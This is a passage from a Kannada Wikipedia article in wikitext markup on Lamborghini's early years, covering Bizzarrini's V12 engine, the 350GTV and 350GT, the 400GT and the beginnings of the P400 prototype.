ಮಾಡಿಕೊಂಡ ಒಂದು ಅನುಕೂಲಕರ ಹಣಕಾಸು ಒಪ್ಪಂದದ ಅನುಸಾರ, ಸದರಿ ಉತ್ಪಾದನಾ ಘಟಕವು ತನ್ನ ಮೊದಲ ಹತ್ತು ವರ್ಷಗಳಿಗಾಗಿರುವ ಲಾಭಗಳಿಕೆಗಳಿಗೆ ತೆರಿಗೆಯನ್ನು ಪಾವತಿಸುವ ಅಗತ್ಯವಿರಲಿಲ್ಲ. ಅಷ್ಟೇ ಅಲ್ಲ, ಸದರಿ ಲಾಭಗಳಿಕೆಯನ್ನು ಬ್ಯಾಂಕ್‌ನಲ್ಲಿ ಠೇವಣಿಯಾಗಿ ಇರಿಸಿದಲ್ಲಿ 19%ನಷ್ಟು [[ಬಡ್ಡಿಯ ದರ]]ವನ್ನು ಸ್ವೀಕರಿಸುವ ಅವಕಾಶವಿತ್ತು. ಒಪ್ಪಂದದ ಭಾಗವಾಗಿ, ಅವನ ಕೆಲಸಗಾರರನ್ನು [[ವೃತ್ತಿಸಂಘದ ನಿಯಮಗಳಿಗೆ ಒಳಪಡಿಸಬೇಕಾಗಿತ್ತು]]. ಕಾರ್ಖಾನೆಯು ನೆಲೆಗೊಂಡಿದ್ದ ತಾಣವು ಇಟಲಿಯ ವಾಹನ ತಯಾರಕ ಉದ್ಯಮದಲ್ಲಿನ ಉಗಮಸ್ಥಾನದಲ್ಲಿತ್ತು. ಇದರಿಂದಾಗಿ ಯಂತ್ರದ ಮಳಿಗೆಗಳು, ಕೋಚ್‌ನಿರ್ಮಾಣಗಾರರು, ಮತ್ತು ವಾಹನ ತಯಾರಿಕಾ ಉದ್ಯಮದಲ್ಲಿ ಅನುಭವವನ್ನು ಹೊಂದಿದ್ದ ಕೆಲಸಗಾರರನ್ನು ಸುಲಭವಾಗಿ ಸಂಪರ್ಕಿಸಲು ಲಂಬೋರ್ಘಿನಿಯ ಕಾರ್ಯಾಚರಣಾ ವ್ಯವಸ್ಥೆಗೆ ಅನುವುಮಾಡಿಕೊಟ್ಟಂತಾಗಿತ್ತು.<ref name="Jolliffe20">ಜೊಲಿಫೆ, 20.</ref> ಆಟೋಮೊಬಿಲಿಯು ತನ್ನ ಬಾಗಿಲುಗಳನ್ನು ತೆರೆಯುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿಯೇ, ಲಂಬೋರ್ಘಿನಿಯು [[ಗಿಯೊಟೋ ಬಿಝರಿನಿ]] ಎಂಬ ಎಂಜಿನಿಯರ್‌ನ್ನು ಪೂರ್ವನೇಮಕ ಮಾಡಿಕೊಂಡಿತ್ತು. "ಐವರ ತಂಡ" ಎಂದು ಕರೆಯಲಾಗುತ್ತಿದ್ದ ವ್ಯವಸ್ಥೆಯೊಂದರಲ್ಲಿ ಬಿಝರಿನಿ ಒಂದು ಅಂಗವಾಗಿದ್ದ. ಸುಪ್ರಸಿದ್ಧ [[250 GTO]] ಮಾದರಿಯ ಅಭಿವೃದ್ಧಿಗೆ ನೆರವಾದ ಕೆಲವೇ ದಿನಗಳ ನಂತರ 1961ರಲ್ಲಿ ಫೆರಾರಿಯಿಂದ ಆದ ಸಾಮೂಹಿಕ ನಿರ್ಗಮನದ ಗುಂಪಿನ ಒಂದು ಭಾಗವೇ ಈ ಐವರ ತಂಡವಾಗಿತ್ತು.<ref name="Sackey15">ಸ್ಯಾಕೆ, 15.</ref> ಲಂಬೋರ್ಘಿನಿಯು ಅವನನ್ನು ಓರ್ವ ಸ್ವತಂತ್ರ-ವೃತ್ತಿಗನಾಗಿ ಅವನ ಎರವಲು ಸೇವೆಯನ್ನು ಪಡೆದುಕೊಂಡ, ಮತ್ತು V12 ಎಂಜಿನ್‌ ಒಂದರ ವಿನ್ಯಾಸಕಾರ್ಯವನ್ನು ಅವನಿಗೆ ನಿಯೋಜಿಸಿದ. ಇದು ಫೆರಾರಿಯ 3-ಲೀಟರ್ [[Wiktionary:power plant|ಶಕ್ತಿಕೇಂದ್ರ]]ದಷ್ಟು ದೊಡ್ಡದಾಗಿತ್ತು, ಆದರೆ ಫೆರಾರಿಯ ಡೀಟ್ಯೂನ್‌ ಮಾಡಲಾದ ಪಂದ್ಯದ ಕಾರಿನ ಎಂಜಿನ್ನಿಗೆ ಪ್ರತಿಯಾಗಿ ರಸ್ತೆಯ ಕಾರೊಂದರಲ್ಲಿನ ಬಳಕೆಗಾಗಿ ಮೊದಲಿನ ಘಟ್ಟದಿಂದಲೇ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿತ್ತು. ಬಿಝರಿನಿಗೆ ಆತನ ಕೆಲಸಕ್ಕಾಗಿ 4.5 ದಶಲಕ್ಷ [[L]]ನಷ್ಟು ಹಣ ನೀಡಲು ಹಾಗೂ ಫೆರಾರಿಯ ಆವೃತ್ತಿಗೆ ಪ್ರತಿಯಾಗಿ ಎಂಜಿನ್‌ನಿಂದ ಉತ್ಪಾದನೆಯಾಗಬಲ್ಲ [[ಬ್ರೇಕ್‌ ಅಶ್ವಶಕ್ತಿ]]ಯ ಪ್ರತಿ ಮಾನಕಕ್ಕಾಗಿ ಒಂದು ಲಾಭಾಂಶವನ್ನು ನೀಡಲು ತೀರ್ಮಾನಿಸಲಾಯಿತು.<ref name="Jolliffe25">ಜೊಲಿಫೆ, 25.</ref> 3.5-ಲೀಟರಿನ, 9.5:1 ಸಂಪೀಡನ ಅನುಪಾತದ 360&nbsp;bhp ಎಂಜಿನ್ನನ್ನು ವಿನ್ಯಾಸಕಾರ ಸೃಸ್ಟಿಸಿದ. ಲಂಬೋರ್ಘಿನಿ ಟ್ರಾಕ್ಟರ್‌ ಕಾರ್ಖಾನೆಯ ಮೂಲೆಯೊಂದರಲ್ಲಿ 1963ರ ಮೇ 15ರಂದು ಇದು ಮೊದಲಬಾರಿಗೆ ಜೀವ ತಳೆಯಿತು.<ref name="Jolliffe25" /> [[ಶುಷ್ಕ-ಕುಳಿಯ ತೈಲ ಲೇಪನ]]ದೊಂದಿಗಿನ ಎಂಜಿನ್‌ ಒಂದನ್ನು ಬಿಝರಿನಿ ಸೃಷ್ಟಿಸಿದ. ರಸ್ತೆಯ ಮೇಲಿನ ಕಾರೊಂದರ ಎಂಜಿನ್‌ಗಾಗಿ ಸೂಕ್ತವಾಗಿರದ 9800 rpm ಮಟ್ಟದಲ್ಲಿ ಇದು ತನ್ನ ಗರಿಷ್ಟ ಅಶ್ವಶಕ್ತಿಯನ್ನು ಉತ್ಪಾದಿಸುತ್ತಿತ್ತು.<ref name="Sackey16">ಸ್ಯಾಕೆ, 16.</ref> ವೈಭವದ ಪ್ರವಾಸ ವಾಹನವೊಂದರಲ್ಲಿನ ಬಳಕೆಗಾಗಿ ಸೂಕ್ತವಾಗುವ, ಒಂದು ವಿಲಕ್ಷಣ-ಶೈಲಿಯಲ್ಲಿ ರೂಪಿಸಲಾದ ಎಂಜಿನನ್ನು ಬಯಸಿದ್ದ ಲಂಬೋರ್ಘಿನಿಯು ಇದರಿಂದ ಕ್ರೋಧಾವಿಷ್ಟನಾಗಿದ್ದ, ಮತ್ತು ಎಂಜಿನ್ನಿನ ವಿನ್ಯಾಸಕ್ಕೆ ಗಣನೀಯ ಪ್ರಮಾಣದ ಬದಲಾವಣೆಗಳನ್ನು ಮಾಡುವಂತೆ ಕೋರಿಕೊಂಡ. ಇದರಿಂದ ಉಂಟಾದ ಹಗೆತನವು ಲಂಬೋರ್ಘಿನಿಯ ಮತ್ತು ಬಿಝರಿನಿಯ ಸಂಬಂಧದಲ್ಲಿನ ಗೋಜಲನ್ನು ಬಿಡಿಸಿತು; ನ್ಯಾಯಾಲಯದಿಂದ ಲಂಬೋರ್ಘಿನಿಗೆ ಆದೇಶಗಳು ಬರುವವರೆಗೆ, ಬಿಝರಿನಿಯು ತನಗೆ ಸ್ಲಬೇಕಾಗಿದ್ದ ಕಾರ್ಯಸಂಬಂಧದ ಸಂಪೂರ್ಣ ಪ್ರತಿಫಲಗಳನ್ನು ಸ್ವೀಕರಿಸಲಾಗಲಿಲ್ಲ.<ref name="Sackey16" /> [[File:Wikilamgtv.jpg|right|thumb|350GT ಮಾದರಿಯ ಗುಣಮಟ್ಟದೊಂದಿಗೆ ಫೆರುಸ್ಸಿಯೋ ಪ್ರಭಾವಿತನಾಗಿರಲಿಲ್ಲ ಮತ್ತು ಲಂಬೋರ್ಘಿನಿಯ ಮೊದಲ ಉತ್ಪಾದನಾ ವರ್ಗದ ಕಾರಿಗಾಗಿ ಒಂದು ಸಂಪೂರ್ಣ ಮರುವಿನ್ಯಾಸಕ್ಕೆ ಆತ ಆದೇಶಿಸಿದ.]] ಲಂಬೋರ್ಘಿನಿಯ ಬಳಿಯಲ್ಲಿ ಈಗ ಒಂದು ಎಂಜಿನ್‌ ಇತ್ತು, ಆದರೆ ಅದನ್ನು ಅಳವಡಿಸಲು ಒಂದು ಮೋಟಾರು ವಾಹನದ ಅಗತ್ಯವಿತ್ತು. 1963ರ ವೇಳೆಗೆ, ಈ ಕೆಲಸಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಜನರ ಒಂದು ತಂಡವನ್ನು ಜಮಾವಣೆ ಮಾಡಿದ್ದ. ಯುದ್ಧದ-ನಂತರದ ಯುಗದಲ್ಲಿ, ಇಟಲಿಯ ವಾಹನದ ಅಡಿಗಟ್ಟಿನ (ಚಾಸಿ) ಓರ್ವ ಸುಪ್ರಸಿದ್ಧ ಎಂಜಿನಿಯರ್‌ ಆಗಿದ್ದ [[ಗಿಯಾನ್‌ ಪಾವೊಲೊ ಡಲ್ಲಾರಾ]] ಈ ತಂಡದ ಆರಂಭಿಕ ಸದಸ್ಯನಾಗಿದ್ದ.<ref name="Sackey16" /> ಫೆರಾರಿ ಮತ್ತು ಮಸೆರಾಟಿ ಕಂಪನಿಗಳಲ್ಲಿ ಈ ಹಿಂದೆ ಕೆಲಸಮಾಡಿದ್ದ ಅನುಭವವನ್ನು ಹೊಂದಿದ್ದ ಡಲ್ಲಾರಾನಿಗೆ, ವಿಶಿಷ್ಟ ಕಾರೊಂದನ್ನು ರಸ್ತೆಯ ಮೇಲೆ ಬಿಡಲು ಲಂಬೋರ್ಘಿನಿಯು ಮಾಡುತ್ತಿದ್ದ ಮುಂಚೂಣಿಯ ಪ್ರಯತ್ನಗಳ ನಿರ್ವಹಣಾ ಹೊಣೆಯನ್ನು ವಹಿಸಲಾಯಿತು. ಸಮರ್ಥ ಜನರನ್ನು ಒಳಗೊಂಡಿದ್ದ ಒಂದು ತಂಡವನ್ನು ಡಲ್ಲಾರಾ ಸಿದ್ಧಗೊಳಿಸಿದ. ಕಾಲೇಜಿನಿಂದ ಆಗಷ್ಟೇ ಹೊರಬಿದ್ದಿದ್ದ ತನ್ನ ಸಹಾಯಕ ಪಾವೊಲೊ ಸ್ಟಾಂಝಾನಿ, ಹಾಗೂ [[ನ್ಯೂಜಿಲೆಂಡ್‌]] ಮೂಲದ ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ ತಂಡದಲ್ಲಿ ಸೇರಿದ್ದರು. ಬಾಬ್‌ ವ್ಯಾಲೇಸ್‌ ಆ ಸಂದರ್ಭದಲ್ಲಿ ಮಸೆರಾಟಿಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದ ಮತ್ತು ವಾಹನದ ಅಡಿಗಟ್ಟನ್ನು ನಿರ್ವಹಿಸುವಲ್ಲಿ ಅಪರಿಮಿತ ಜ್ಷಾನವನ್ನು ಆತ ಹೊಂದಿದ್ದ. ಅಷ್ಟೇ ಅಲ್ಲ, ಆ ವ್ಯವಸ್ಥೆಯ ಪರಿಣಾಮ ಮಾಹಿತಿ ಹಾಗೂ ಬೆಳವಣಿಗೆಗೆ ಸಂಬಂಧಿಸಿದ ಪರಿಣತಿಗಳೂ ಅವನಲ್ಲಿ ಹೇರಳವಾಗಿದ್ದವು.<ref name="Sackey16" /><ref name="Jolliffe29">ಜೊಲಿಫೆ, ಪುಟ 29.</ref> [[ವಿಗ್ನಾಲೆ]], [[ಘಿಯಾ]], [[ಬೆರ್ಟೋನ್‌]], ಮತ್ತು [[ಪಿನಿನ್‌ಫ್ಯಾರಿನಾ]]ರಂಥ ಹೆಚ್ಚು ಪರಿಗಣನೆಯ ಹೆಸರುಗಳನ್ನು ತಿರಸ್ಕರಿಸಿದ ಫೆರುಸ್ಸಿಯೋ, ಆಗ ಅಷ್ಟೊಂದು ಚಿರಪರಿಚಿತನಾಗಿರದಿದ್ದ [[ಫ್ರಾಂಕೋ ಸ್ಕಾಗ್ಲಿಯೋನ್‌]] ಎಂಬಾತನಿಗೆ ಆಹ್ವಾನವನ್ನಿತ್ತು ಕಾರಿನ ಹೊರಶರೀರವನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸುವ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ವಹಿಸಿದ. 1963ರ ಟ್ಯೂರಿನ್‌ ಮೋಟಾರು ಪ್ರದರ್ಶನದಲ್ಲಿ ಭಾಗವಹಿಸಲು ಅನುವಾಗುವಂತೆ, ಕೇವಲ ನಾಲ್ಕು ತಿಂಗಳಲ್ಲೇ ಕಾರನ್ನು ಸಿದ್ಧಗೊಳಿಸಲಾಯಿತು.<ref name="Jolliffe25" /> [[350GTV]] ಮೂಲಮಾದರಿಯು ವೃತ್ತಪತ್ರಿಕೆಗಳಿಂದ ಒಂದು ಪೂರಕವಾದ ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ಪಡೆಯಿತು.<ref name="Jolliffe25" /> ಎಂಜಿನ್‌ ವಿನ್ಯಾಸಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಬಿಝರಿನಿಯೊಂದಿಗೆ ಇದ್ದ ಹಗೆತನದ ಕಾರಣದಿಂದಾಗಿ, ಅನಾವರಣದ ಸಮಯಕ್ಕೆ ಹೊಂದಿಕೊಳ್ಳಲು ಅನುವಾಗುವಂತೆ ಕಾಲಮಿತಿಯೊಳಗಾಗಿ ಕಾರಿನೊಳಗೆ ಎಂಜಿನ್ನನ್ನು ಅಳವಡಿಸಲು ಯಾವುದೇ ಶಕ್ತಿಕೇಂದ್ರವೂ ಲಭ್ಯವಿರಲಿಲ್ಲ; ಲೋರ್‌ ಹೇಳುವ ಪ್ರಕಾರ, ಇಟ್ಟಿಗೆಯಾಕಾರದ ರಚನೆಯನ್ನು ಮುಚ್ಚುವ ರೀತಿಯಲ್ಲಿ {{convert|500|lb|kg|abbr=on}} ಎಂಜಿನ್ನಿನ ಮುಚ್ಚಳವು ವಿನ್ಯಾಸಗೊಳ್ಳುವಂತೆ ಫೆರುಸ್ಸಿಯೋ ಖಾತ್ರಿಪಡಿಸಿಕೊಂಡಿದ್ದ. ಇದರಿಂದಾಗಿ ಸೂಕ್ತ ಸವಾರಿಯ ಎತ್ತರದಲ್ಲಿ ಕಾರು ಕುಳಿತುಕೊಳ್ಳಲು ಅನುವುಮಾಡಿಕೊಟ್ಟಂತಾಗಿತ್ತು.<ref name="Sackey16" /> [[File:Lamborghini 350-GT Front-view.JPG|left|thumb|350GTV ಮಾದರಿಯನ್ನು ಉತ್ಪಾದನಾ ವರ್ಗದ 350GT ಮಾದರಿಯಾಗಿ ಪುನರ್‌ ರೂಪಿಸಲಾಯಿತು; ಒಟ್ಟಾರೆಯಾಗಿ ಈ ವೈಭವದ ಪ್ರವಾಸ ವಾಹನದ 120 ಸಂಖ್ಯೆಯಲ್ಲಿ ಮಾರಾಟವಾದವು.]] ಪೂರಕ ಅಥವಾ ಧನಾತ್ಮಕ ಅಭಿಪ್ರಾಯಗಳ ಹೊರತಾಗಿಯೂ, ಮೂಲಮಾದರಿಯ ನಿರ್ಮಾಣ ಗುಣಮಟ್ಟಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಲಂಬೋರ್ಘಿನಿಗೆ ಅಷ್ಟೇನೂ ತೃಪ್ತಿ ಸಿಕ್ಕಿರಲಿಲ್ಲ. ಹೀಗಾಗಿ ಆತ ಅದನ್ನು ಇನ್ನೊಮ್ಮೆ-ಮಾಡದ ಒಂದು ಮಾದರಿಯಾಗಿ ಘೋಷಿಸಿದ. ಓರ್ವ ಸ್ಥಳೀಯ ಸಂಗ್ರಾಹಕನಿಂದ ಇದು ಖರೀದಿಸಲ್ಪಟ್ಟು ಅವನು ಅದನ್ನು ಮೊದಲಿನ ಸ್ಥಿತಿಗೆ ತರುವವರೆಗಿನ ನಂತರದ ಇಪ್ಪತ್ತು ವರ್ಷಗಳ ಅವಧಿಯವರೆಗೆ ಈ ಕಾರು ಉಗ್ರಾಣದಲ್ಲಿ ಸೇರಿಕೊಂಡಿತು.<ref name="Jolliffe27">ಜೊಲಿಫೆ, 27.</ref> 350 GTVಯನ್ನು ಒಂದು ಆರಂಭದ ಬಿಂದುವಾಗಿ ಬಳಸುವ ಮೂಲಕ, ಮಿಲಾನ್‌ನ [[ಕರೋಜೇರಿಯಾ ಟೂರಿಂಗ್‌]] ಸಂಸ್ಥೆಯಿಂದ ಕಾರಿನ ಹೊರಶರೀರದ ಕಾರ್ಯವು ಮರುವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟಿತು, ಮತ್ತು ಹೊಸ ವಾಹನದ ಅಡಿಗಟ್ಟನ್ನು ಆಂತರಿಕವಾಗಿ ನಿರ್ಮಿಸಲಾಯಿತು. ಬಿಝರಿನಿಯ ಬಯಕೆಗಳಿಗೆ ವಿರುದ್ಧವಾಗಿ ಎಂಜಿನ್‌ನ್ನು ಡೀಟ್ಯೂನ್‌ ಮಾಡಲಾಯಿತು. [[350GT]] ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾದ ಈ ಹೊಸ ಕಾರು, 1964ರ [[ಜಿನಿವಾ ಮೋಟಾರು ಪ್ರದರ್ಶನ]]ದಲ್ಲಿ ಪಾದಾರ್ಪಣ ಮಾಡಿತು. ಉಬಾಲ್ದೊ ಸ್ಗಾರ್ಜಿಯನ್ನು ತನ್ನ ಮಾರಾಟ ವ್ಯವಸ್ಥಾಪಕನಾಗಿ ಫೆರುಸ್ಸಿಯೋ ನೇಮಿಸಿಕೊಂಡ; ಇದೇ ತೆರನಾದ ಒಂದು ಪಾತ್ರವನ್ನು ಸ್ಗಾರ್ಜಿಯು ತಯಾರಕ ತಂತ್ರಜ್ಞ ಕಂಪನಿಯಾದ S.p.Aಯಲ್ಲಿ ನಿರ್ವಹಿಸಿದ್ದ. ಅದೇ ರೀತಿಯ ಅಸಮ್ಮತಿಯೊಂದಿಗಿನ ಕಾರ್ಖಾನೆಯ ಓಟವನ್ನು ಲಂಬೋರ್ಘಿನಿ ಮತ್ತು ಸ್ಗಾರ್ಜಿ ವೀಕ್ಷಿಸಿದರು. ಕಾರುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದ ಎಂಜಿನಿಯರುಗಳ ಬಯಕೆಗಳೊಂದಿಗೆ ಈ ದೃಷ್ಟಿಕೋನವು ನಿರಂತರವಾಗಿ ಘರ್ಷಣೆಯನ್ನು ಉಂಟುಮಾಡುತ್ತಿತ್ತು.<ref name="Jolliffe28">ಜೊಲಿಫೆ, 28.</ref> 1964ರ ಅಂತ್ಯದ ವೇಳೆಗೆ, 13 ಗ್ರಾಹಕರುಗಳಿಗಾಗಿ ಕಾರುಗಳನ್ನು ನಿರ್ಮಿಸಲಾಗಿತ್ತು, ಮತ್ತು ಫೆರಾರಿಯೊಂದಿಗೆ ಸ್ಫರ್ಧಿಸುವ ದೃಷ್ಟಿಯೊಂದ ನಷ್ಟದ ಮುಖಬೆಲೆಯಲ್ಲಿ ಅವು ಮಾರಾಟವಾದವು. ನಂತರದ ಎರಡು ವರ್ಷಗಳ ಅವಧಿಗೆ 350GTಯು ಉತ್ಪಾದನೆಯಲ್ಲಿ ಉಳಿದುಕೊಂಡಿತ್ತು, ಹಾಗೂ ಈ ಅವಧಿಯಲ್ಲಿ ಒಟ್ಟಾರೆಯಾಗಿ 120 ಕಾರುಗಳು ಮಾರಾಟವಾದವು.<ref name="Jolliffe28" /> ===1965-1966: ಲಂಬೋರ್ಘಿನಿಯ ಆಗಮನ=== ಬಿಝರಿನಿ ರೂಪಿಸಿದ್ದ V12 ವಿನ್ಯಾಸವನ್ನು ಸುಧಾರಣೆ ಮಾಡುವ ಸವಾಲನ್ನು ಗಿಯಾನ್‌ ಪಾವೊಲೊ ಡಲ್ಲಾರಾ ಕೈಗೆತ್ತಿಕೊಂಡ. ಪಲ್ಲಟನ ಪ್ರಮಾಣವನ್ನು 3.9-ಲೀಟರುಗಳಿಗೆ ಏರಿಸುವ ಮೂಲಕ, ಶಕ್ತಿಯನ್ನು 6,500 rpm ಮಟ್ಟದಲ್ಲಿ 320&nbsp;bhpಗೆ ಏರಿಸುವ ಮೂಲಕ ಅವನು ಇದನ್ನು ಸಾಧಿಸಿದ.<ref name="Jolliffe28" /> 350GT ವಾಹನದ ಅಡಿಗಟ್ಟೊಂದರಲ್ಲಿ ಎಂಜಿನನ್ನು ಮೊದಲು ಅಳವಡಿಸಲಾಯಿತು. ಇದರಿಂದ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಹೊರಹೊಮ್ಮಿದ ಕಾರನ್ನು "ಇಂಟರಿಮ್‌ 400GT" ಎಂದು ಕರೆಯಲಾಯಿತು ಹಾಗೂ ಈ ಮಾದರಿಯ 23 ಕಾರುಗಳು ತಯಾರಿಸಲ್ಪಟ್ಟವು. 1966ರ ಹೊತ್ತಿಗೆ, ಒಂದು ಉದ್ದಕ್ಕೆ ಚಾಚಿಕೊಂಡಿರುವ, 350GTಯ [[2+2]] ಆವೃತ್ತಿಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಯಿತು, ಮತ್ತು ಅದೇ ವರ್ಷದ ಜಿನಿವಾ ವಾಹನ ಪ್ರದರ್ಶನದಲ್ಲಿ ವಿಶಾಲವಾದ [[400GT]] ಮಾದರಿಯನ್ನು ಅನಾವರಣಗೊಳಿಸಲಾಯಿತು. ಸಮಕಾಲೀನ ಫೆರಾರಿ ಕಾರುಗಳಿಗೆ <ref name="Widescreen Action" /><ref>[http://www.400gt.com/articles/compare/road-and-track-compares.htm ಲಂಬೋರ್ಘಿನಿ 400GT - ಒನ್‌ ಡ್ರೈವ್‌ ಅಂಡ್‌ ಎವೆರಿಒನ್‌ ಹ್ಯಾಡ್‌ ಎ ನ್ಯೂ ಫೇವರಿಟ್‌ ಕಾರ್‌].</ref>{{Citation needed|How many more sources needed for this claim? Now it refers to two magazines|date=November 2009}} ಅನುಕೂಲಕರವಾಗಿ ಹೋಲಿಕೆಗೆ ಒಳಗಾಗಿದ್ದರಿಂದಾಗಿ ಈ ಕಾರು ಅದ್ಭುತ ಯಶಸ್ಸನ್ನು ಪಡೆಯಿತು ಮತ್ತು ಒಟ್ಟಾರೆಯಾಗಿ 250 ಕಾರುಗಳು ಮಾರಾಟಗೊಂಡವು. ಇದು ತನ್ನ ಕಾರ್ಖಾನೆಯಲ್ಲಿನ ಕಾರ್ಮಿಕರ ಸಂಖ್ಯೆಯನ್ನು 170ಕ್ಕೆ ಹೆಚ್ಚಿಸುವಂತೆ ಲಂಬೋರ್ಘಿನಿಯನ್ನು ಪ್ರಚೋದಿಸಿತು.<ref name="Jolliffe28" /> 400GTಯನ್ನು ಆಧರಿಸಿದ್ದ ಎರಡು ಮೂಲಮಾದರಿಗಳು ಟ್ಯೂರಿನ್‌ನಲ್ಲಿನ [[ಝಗಾಟೊ]] ಕೋಚ್‌ವರ್ಕ್ಸ್‌ ಸಂಸ್ಥೆಯಿಂದ ನಿರ್ಮಿಸಲ್ಪಟ್ಟವು. ವಿನ್ಯಾಸಗಳ ಜನಪ್ರಿಯತೆಯ ಹೊರತಾಗಿಯೂ, ಹೊರಗಿನ ವಿನ್ಯಾಸಗಾರಿಕೆ ಮತ್ತು ಎಂಜಿನಿಯರಿಂಗ್‌ ಕಾರ್ಯಗಳಿಗೆ ಅವಕಾಶ ನೀಡುವುದಕ್ಕೆ ಬದಲಾಗಿ ತನ್ನದೇ ಕಾರ್ಖಾನೆಯಲ್ಲಿನ ಸೌಕರ್ಯಗಳನ್ನು ಹಾಗೂ ನೌಕರರನ್ನು ಗರಿಷ್ಟ ಮಟ್ಟದಲ್ಲಿ ಬಳಸಿಕೊಳ್ಳುವೆಡೆಗೆ ತನ್ನ ಪ್ರಯತ್ನಗಳನ್ನು ನಿರ್ದೇಶಿಸಲು ಫೆರುಸ್ಸಿಯೋ ಆದ್ಯತೆ ನೀಡಿದ.<ref name="Jolliffe29" /> ಕಾರಿನ ಮಾಲೀಕರುಗಳಿಗೆ ನಿರಂತರವಾಗಿ ಸೇವೆಒದಗಿಸುವುದರ ಪ್ರಾಮುಖ್ಯತೆಯ ಕುರಿತು ಲಂಬೋರ್ಘಿನಿ ವಿಶೇಷವಾದ ಗಮನವನ್ನು ಹೊಂದಿದ್ದ. ಈ ಹಿನ್ನೆಲೆಯಲ್ಲಿ, ಲಂಬೋರ್ಘಿನಿ ಕಾರುಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಸಣ್ಣಪುಟ್ಟ ಸೇವೆಯಿಂದ ಮೊದಲ್ಗೊಂಡು ಪ್ರಮುಖ ಕೆಲಸದವರೆಗಿನ ಎಲ್ಲ ಸೇವಾಕಾರ್ಯಗಳನ್ನೂ ಮಾಡಬಲ್ಲ ಸೌಕರ್ಯವೊಂದನ್ನು ಅವನು ನಿರ್ಮಿಸಿದ. [[File:Lamborghini 350 GT and Miura.jpg|thumb|right|400GT (ಮುನ್ನೆಲೆ) ಮಾದರಿಯು ಒಂದು 2+2 ಮಾದರಿಯಾಗಿದ್ದು, ಇದು ಆಧರಿಸಿದ್ದ ಕಾರಿಗಿಂತ ವಿಶಾಲವಾಗಿತ್ತು.ಮಿಯುರಾ (ಹಿನ್ನಲೆ) ಮಾದರಿಯು ಎಂಜಿನ್ನನ್ನು ಕಾರಿನ ಹಿಂಭಾಗಕ್ಕೆ ಸರಿಸಿತು; ಲಂಬೋರ್ಘಿನಿಯ ಮೂರು ಉನ್ನತ ಎಂಜಿನಿಯರುಗಳ ಅಚ್ಚುಮೆಚ್ಚಿನ ಯೋಜನೆಯಾಗಿ ಈ ಕಾರು ಪ್ರಾರಂಭವಾಯಿತು]] 1965ರ ಅವಧಿಯಲ್ಲಿ, ಡಲ್ಲಾರಾ, ಸ್ಟಾಂಝಾನಿ, ಮತ್ತು ವ್ಯಾಲೇಸ್‌ ಈ ಮೂವರೂ P400 ಎಂದು ಹೆಸರಾದ ಒಂದು ಮೂಲಮಾದರಿಯ ಕಾರನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ತಮ್ಮೆಲ್ಲರ ಸ್ವಂತ ಸಮಯವನ್ನೂ ವಿನಿಯೋಗಿಸಿದರು. ಓಟದ ಪಂದ್ಯದ ತಳಿಶೈಲಿಯೊಂದಿಗಿನ ರಸ್ತೆಯ ಕಾರೊಂದನ್ನು ಈ ಎಂಜಿನಿಯರುಗಳು ಕಲ್ಪಿಸಿಕೊಂಡಿದ್ದರು; ಉತ್ಸಾಹಿ ಚಾಲಕರಿಂದಾಗಿ ಓಟದ ಪಂದ್ಯದಲ್ಲಿ ಗೆಲ್ಲಬಲ್ಲ ಮತ್ತು ಎಂದಿನ ರಸ್ತೆಯ ಪಯಣದಲ್ಲಿ ಸಾಗಬಲ್ಲ ಕಾರೊಂದು ಅವರ ಕಲ್ಪನೆಯಲ್ಲಿ ನೆಲೆ ಕಲ್ಪಿಸಿಕೊಂಡಿತ್ತು.<ref name="Jolliffe29" /> ಇಂಥದೊಂದು ವಾಹನವು ತುಂಬಾ ದುಬಾರಿಯಾಗಿರುತ್ತದೆ ಮತ್ತು ಕಂಪನಿಯ ಗಮನವು ಬೇರೆಡೆಗೆ ಹರಿಯುವಲ್ಲಿ ಕಾರಣವಾಗುತ್ತದೆ ಎಂಬ ಅಭಿಪ್ರಾಯದಿಂದ ಲಂಬೋರ್ಘಿನಿಯನ್ನು ತಿರುಗಿಸಲು ಈ ಮೂವರೂ ಕಾರಿನ ವಿನ್ಯಾಸದ ಕುರಿತು ರಾತ್ರಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಎಲ್ಲವೂ ವ್ಯವಸ್ಥಿತ ಹಂತವನ್ನು ತಲುಪಿದಾಗ, ಮುಂದುವರಿಯುವಂತೆ ಲಂಬೋರ್ಘಿನಿಯು ತನ್ನ ಎಂಜಿನಿಯರುಗಳಿಗೆ ಅನುವುಮಾಡಿಕೊಟ್ಟ. ಹೆಚ್ಚೇನಲ್ಲದಿದ್ದರೂ, P400 ಮಾದರಿಯು ಒಂದು ಸಮರ್ಥ ಮಾರಾಟಗಾರಿಕೆಯ ಸಾಧನವಾಗಿತ್ತು ಎಂಬುದನ್ನು ಆಧರಿಸಿ ಅವನು ಈ ತೀರ್ಮಾನಕ್ಕೆ ಬಂದಿದ್ದ. ಅಡ್ಡಡ್ಡವಾಗಿ-ಜೋಡಣೆಮಾಡಲಾದ ಮಧ್ಯದ-ಎಂಜಿನ್‌ ವಿನ್ಯಾಸಕ್ರಮವೊಂದನ್ನು ಈ ಕಾರು ಒಳಗೊಂಡಿದ್ದು, ತನ್ಮೂಲಕ ಹಿಂದಿನ ಲಂಬೋರ್ಘಿನಿ ಕಾರು ಮಾದರಿಗಳಿಂದ ಹೊರಳುದಾರಿಯನ್ನು ತುಳಿದಂತಾಗಿತ್ತು; V12 ಮಾದರಿಯೂ ಸಹ ಎಂದಿನ 